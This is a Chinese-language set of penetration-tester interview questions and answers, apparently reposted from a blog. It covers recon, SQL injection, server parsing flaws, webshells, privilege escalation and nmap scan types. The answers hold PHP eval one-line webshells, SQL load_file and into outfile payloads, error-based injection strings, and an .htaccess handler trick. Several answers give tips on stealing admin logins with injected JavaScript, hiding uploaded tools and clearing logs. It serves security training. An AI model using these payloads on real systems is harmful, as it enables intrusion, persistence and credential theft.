渗透测试工程师面试题大全(一)

渗透测试工程师面试题大全(一)

from:backlion大佬 整理

1.拿到一个待检测的站,你觉得应该先做什么?

收集信息:whois、网站源
IP、旁站、C 段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息另说…

2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?

5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操做。

3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

(1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台

(2)用邮箱做关键词进行丢进搜索引擎

(3)利用搜索到的关联信息找出其他邮箱进而得到常用社交账号

(4)社工找出社交账号,里面或许会找出管理员设置密码的习惯

(5)利用已有信息生成专用字典

(6) 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西

4.判断出网站的 CMS 对渗透有什么意义?

查找网上已曝光的程序漏洞,如果开源,还能下载相对应的源码进行代码审计。

5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?

(1)敏感文件、二级目录扫描

(2)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

6.常见的网站服务器容器?

IIS、Apache、nginx、Tomcat,weblogic、jboss

7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

root 权限以及网站的绝对路径

load_file()读取文件操作

前提:

知道文件的绝对路径

能够使用 union 查询对 web 目录有写的权限

union select 1,load_file(’/etc/passwd’),3,4,5#

0x2f6574632f706173737764

union select 1,load_file(0x2f6574632f706173737764),3,4,5#

路径没有加单引号的话必须转换十六进制

要是想省略单引号的话必须转换十六进制

into outfile 写入文件操作

前提:

文件名必须是全路径(绝对路径)

用户必须有写文件的权限

没有对单引号’过滤

select ‘<?php phpinfo(); ?>’ into outfile
‘C:\Windows\tmp\8.php’ select ‘<?php @eval($_POST["admin"]);?>’ into outfile
‘C:\Windows\tmp\8.php’

路径里面两个反斜杠\可以换成一个正斜杠/

PHP 语句没有单引号的话,必须转换成十六进制

要是想省略单引号’的话,必须转换成十六进制

<?php eval($_POST["admin"]); ?> 或者 <?php eval($_GET["admin"]); ?> <?php @eval($_POST["admin"]); ?> <?php

phpinfo(); ?>

<?php eval($_POST["admin"]); ?>

建议一句话 PHP 语句转换成十六进制

8.目前已知哪些版本的容器有解析漏洞,具体举例?

(1) IIS 6.0

/xx.asp/xx.jpg "xx.asp"是文件夹名

(2) IIS 7.0/7.5

默认
Fast-CGI 开启,直接在url 中图片地址后面输入/1.php,会把正常图片当成 php 解析

(3) Nginx

版本小于等于 0.8.37,利用方法和 IIS 7.0/7.5 一样,Fast-CGI 关闭情况下也可利用。

空字节代码 xxx.jpg.php

(4)Apache

上传的文件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀

(6)lighttpd

xx.jpg/xx.php

9.如何手工快速判断目标站是 windows 还是 linux 服务器?

linux 大小写敏感,windows 大小写不敏感

10.为何一个 mysql 数据库的站,只有一个 80 端口开放?

(1)更改了端口,没有扫描出来

(2) 站库分离

(3) 3306 端口不对外开放

11.3389 无法连接的几种情况?

(1)没开放 3389 端口

(2)端口被修改

(3) 防护拦截

(4)处于内网(需进行端口转发)

12.如何突破注入时字符被转义?

宽字符注入;hex 编码绕过

13.在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器的名称版本,然后搜索公开的漏洞

14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?

能做的事情很多,用隐藏网马来举例子:

插入<FilesMatch “xxx.jpg”> SetHandler
application/x-httpd-php

.jpg 文件会被解析成.php 文件

15.注入漏洞只能查账号密码?

可脱裤,可上传 webshell,可执行命令

16.安全狗会追踪变量,从而发现出是一句话木马吗?

是根据特征码,所以很好绕过

17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?

迅雷下载,直接改后缀为.mdb

18.提权时选择可读写目录,为何尽量不用带空格的目录?

因为 exp 执行多半需要空格界定参数

19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户?

同数据库

20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?

and/or/xor,前面的 1=1、1=2 步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去

21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录您的 ipxx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1 如何利用这个防注入系统拿 shell?

在URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了, 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:

http://ytxiao.lofter.com/post/40583a_ab36540

22.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码

23.审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了

24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名,再利用被爆破出来的用户名爆破密码。

25.目标站发现某 txt 的下载地址为http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

这就任意文件下载漏洞,在 file=后面尝试输入 index.php 下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。

26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录。请问你的想法是?

直接在网站二级目录/abc/下扫描敏感文件及目录

27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?

(1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)

(2)在登录后才可以访问的文件中插入 XSS 脚本

28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的 password 属性改成text 就明文显示了

29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原因?

原因很多,有可能 web 服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12 看HTML 体部 比如护卫神就可以在名称那看到内容

31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?

隐藏文件夹,为了不让管理员发现你传上去的工具

32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?

A.demo.jsp?id=2+1 B. demo.jsp?id=2-1
选 B,在URL 编码中+ 代表空格,可能会造成混淆

33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==

DATA 有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行

base64 编码才能正确完成测试

34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

(1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
(2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、使用 HTTP Only 来禁止JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer。
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

36.CSRF、SSRF 和重放攻击有什么区别?

(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(3)重放攻击是将截获的数据包进行重放,达到身份认证等目的

37.说出至少三种业务逻辑漏洞,以及修复方式?
(1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码
(2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到Session 或 Cookie 即可伪造用户身份
(3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过

38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

GET
/ecskins/demo.jsp?uid=2016031900&keyword=”hello world!”
HTTP/1.1
Host: ***com:82
User-Agent: Mozilla/5.0 (Windows NT
6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/css,/;q=0.1
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*******com:82/eciop/orderForCC/cgtListForCC.htm?zone
=11370601&v=1459663591817
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ;
st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0I
Y-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeD
n%2BiNiTrng5%2Flj7A%3D; status=True
Connection: keep-alive
(标红 1:sql 注入,标红 2:xss,标红 3:cookies 欺骗,4:会话 CSRF 或重放风险。)考对 HTTP 数据包字段敏感度及会话渗透经验。

39.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
//看对常规漏洞的深入程度

40.你常用的渗透工具有哪些,最常用的是哪个?

burpsuit,appscan,avwvs,sqlmap,fiddler 等

41.描述一个你深入研究过的 CVE 或 POC?
如 cve-2017-11191offcie 的 dde 漏洞

42.谈谈你经常关注的安全平台?
如,tools.net,90sec,先知社区,安全客,freebuf 等

43.给你一个网站你是如何来渗透测试的?
在获取书面授权的前提下:

(1)信息收集,
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。
2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。
3.查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞
4.查看 IP,进行 IP 地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh 弱口令等。
5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php 探针
6.google hack 进一步探测网站的信息,后台,敏感文件
(2)漏洞扫描
开始检测漏洞,如 XSS,XSRF,sql 注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
(3)漏洞利用
利用以上的方式拿到 webshell,或者其他权限
(4)权限提升
提权服务器,比如 windows 下 mysql 的 udf 提权,serv-u 提权,windows低版本的漏洞,如 iis6,pr,巴西烤肉,linux 脏牛漏洞,linux 内核版本漏洞提权,
linux 下的 mysql system 提权以及 oracle 低权限提权
(5)日志清理
(6)总结报告及修复方案

或者:
1)信息收集
a. 服务器的相关信息(真实 ip,系统类型,版本,开放端口,WAF 等)
b. 网站指纹识别(包括,cms,cdn,证书等),dns 记录
c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d. 子域名收集,旁站查询(有授权可渗透),C 段等
e. google hacking 针对化搜索,pdf 文件,中间件版本,弱口令扫描等
f. 扫描网站目录结构,爆后台,网站 banner,测试文件,备份等敏感文件泄漏等
i. 传输协议,通用漏洞,exp,github 源码等

2)漏洞挖掘
1.浏览网站,看看网站规模,功能,特点等
2. 端口,弱口令,目录等扫描
3. XSS,SQL 注入,命令注入,CSRF,cookie 安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
3)漏洞利用 | 权限提升 a) mysql 提权,serv-u 提权,linux 内核版本提权等
4)清除测试数据 | 输出报告日志、测试数据的清理
总结,输出渗透测试报告,附修复方案
5) 复测验证并发现是否有新漏洞,输出报告,归档

44.sqlmap,怎么对一个注入点注入?

(1)如果是 get 型号,直接,sqlmap -u “诸如点网址”.
(2)如果是 post 型诸如点,可以 sqlmap -u "注入点网址”–data=“post的参数”
(3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,用 burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”

45.nmap,扫描的几种方式?
tcp connect()
这种方式最简单。直接与被扫描的端口建立tcp链接,如果成功,则说明端口开放,如果不成功则说明端口关闭的。这种扫描的特点是与被扫描端口建立完成的tcp链接,完整的tcp三次握手。优点主要是不需要root权限即可扫描端口。因为connect可以在用户态直接调用
TCP SYN scanning
这种扫描方式又被称为tcp半开放扫描。顾名思义,这种扫描不需要建立完整的tcp连接,即可扫描端口的状态。发送tcp syn数据包,这个也是tcp握手的第一个包。如果端口开放,则会返回 tcp syn+ack数据包。如果端口关闭,则返回 tcp rst数据包。这样我们就不用进行tcp 握手的第三步,也可以探测端口的状态。这种扫描需要构建raw socket。所以需要root权限

TCP FIN scanning
有些时候防火墙绘过滤tcp syn数据包,有些时候会记录syn数据包并检测时候有nmap扫描。这时候可以使用TCP FIN scanning。这种方式很简单。发送tcp FIN数据包到待测端口。如果返回RST数据包,则说明该端口关闭,如果无返回则说明该端口开放。这时tcp协议的一个BUG,所以这种扫描方式不一定百分之百可靠(例如windows),但是这种扫描方式适合大部分 *NIX 系统。
TCP NULL, FIN, and Xmas scans
如果目的端口的是关闭的,并且接受到的tcp数据包如果可能会导致系统错误,则返回RST。如果开放的端口接受到诸如SYN RST ACK,则丢弃或者不做任何处理。根据此RFC描述,我们可以发送不包含SYN RST或者ACK标志的数据包,如果返回RST则说明端口是关闭状态,如果什么都没有返回则说明端口是开放状态。

Null scan
tcp flag headers 全为0

FIN scan
只设置tcp FIN标志

xmas scan
同时设置FIN PSH URG标志位。

上面这三种扫描的结果都是一致的,如果接受到到RST,则说明端口是关闭的。如果无响应,则端口可能是开放或者filteted状态。如果返回icmp unreachable error(type 3, code 0, 1, 2, 3, 9, 10, 13),则说明端口一定是filtered的。
TCP ACK scan
这种扫描只设置tcp ack标志位。这种扫描一般来探测防火墙是否过滤被扫描的端口。如果扫描的端口未被防火墙保护,那么无论是开放或者是关闭,都会返回RST。nmap将该端口标记为未被封锁的(unfiltered),但是不能确定该端口是开放或者关闭状态。如果无响应,或者返货icmp error,则该端口一定被防火墙封锁了
TCP Window scan
tcp窗口扫描,如果接收到RST,则说明端口封锁了。在某些操作系统,开放的端口会返回一个正数的tcp窗口值,如果端口关闭,则返回tcp窗口值为0或者负数。但是这种扫描不是很靠谱
TCP Maimon scan
这种扫描为发送同时设置FIN/ACK的数据包。如果返回RST,则说明端口是开放的,如果无响应,则是关闭状态的。
IP protocol scan
这种是专门扫描ip协议的。扫描类似于udp扫描,如果IP协议号不存在,返回 icmp错误。具体没用过,不太好写
UDP ICMP port unreachable scanning
如果udp端口开放,则无响应。如果udp端口关闭,则会返回icmp unreachable error错误。这种扫描需要root权限,因为需要构建raw socket。
UDP connect扫描
这种直接一个一个建立udp连接,如果能建立,则说明端口开放,不能建立则端口关闭。

46.sql 注入的几种类型?

(1)报错注入
(2)bool 型注入
(3)延时注入
(4)宽字节注入

47.报错注入的函数有哪些?

(1)and extractvalue(1, concat(0x7e,(select
@@version),0x7e))
(2)通过 floor 报错 向下取整
(3)+and updatexml(1, concat(0x7e,(secect
@@version),0x7e),1) 4)geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select
user())a)b)); (5)multipoint()select from test where id=1 and
multipoint((select from(select from(select user())a)b));
(5)polygon()select from test where id=1 and
polygon((select from(select from(select user())a)b));
(7)multipolygon()select from test where id=1 and
multipolygon((select from(select from(select user())a)b));
(8)linestring()select from test where id=1 and
linestring((select from(select from(select user())a)b));
(9)multilinestring()select from test where id=1 and
multilinestring((select from(select from(select user())a)b)); (10)exp()select from test where id=1 and exp(~(select * from(select user())a));

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

48.延时注入如何来判断?

(1)if(ascii(substr(“hello”, 1, 1))=104
(2) sleep(5), 1)

49.盲注和延时注入的共同点?

都是一个字符一个字符的判断

50.如何拿一个网站的 webshell?

上传,后台编辑模板,sql 注入写文件,命令执行,代码执行,一些已经爆出的 cms 漏洞,比如 dedecms 后台可以直接建立脚本文件,wordpress 上传插件包含脚本文件 zip 压缩包等

猜你喜欢

转载自blog.csdn.net/w1304099880/article/details/105665218